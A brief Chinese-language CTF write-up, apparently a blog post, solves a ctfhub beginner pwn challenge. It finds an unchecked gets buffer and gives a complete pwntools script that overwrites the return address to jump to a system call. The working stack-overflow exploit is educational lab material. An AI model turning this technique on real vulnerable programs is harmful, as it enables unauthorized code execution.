写的第一个pwn题目来源于ctfhub
这个考的就是最基本的栈溢出
ida分析main函数
gets存在危险
查看v4大小为0x70
然后看secure该函数发现了system
所以覆盖返回地址即可。
payload = b’a’*0x78+p64(0x4007B8) // 78是70加上8 64位加8
完整代码为：
from pwn import *;
p=process("./pwn")
#p = connect("challenge-6e474600ed68d21e.sandbox.ctfhub.com",31271)
payload = b'A' * 0x78 + p64(0x4007b8)
p.sendline(payload)
p.interactive()
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